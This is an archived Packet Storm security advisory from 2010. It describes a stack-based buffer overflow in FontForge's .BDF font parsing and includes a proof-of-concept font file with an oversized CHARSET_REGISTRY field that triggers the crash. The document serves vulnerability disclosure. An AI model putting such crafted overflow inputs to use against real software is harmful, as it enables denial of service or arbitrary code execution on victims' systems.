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FontForge .BDF Buffer Overflow

🗓️ 14 Dec 2010 00:00:00Reported by Ulrik PerssonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

FontForge stack-based buffer-overflow vulnerability in .BDF Buffe

Code
`Source: http://www.securityfocus.com/bid/45162/info  
  
FontForge is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer.  
  
An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.  
  
FontForge 0.0.20100501-2 is vulnerable; other versions may also be affected.  
  
PoC:  
  
STARTFONT 2.1  
FONT -gnu-unifont-medium-r-normal--16-160-75-75-c-80-iso10646-1  
SIZE 16 75 75  
CHARSET_REGISTRY AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
FONTBOUNDINGBOX 16 16 0 -2  
STARTPROPERTIES 2  
FONT_ASCENT 14  
FONT_DESCENT 2  
ENDPROPERTIES  
CHARS 1  
STARTCHAR U+0041  
ENCODING 65  
SWIDTH 500 0  
DWIDTH 8 0  
BBX 8 16 0 -2  
BITMAP  
00  
00  
00  
00  
18  
24  
24  
42  
42  
7E  
42  
42  
42  
42  
00  
00  
ENDCHAR  
ENDFONT  
  
`

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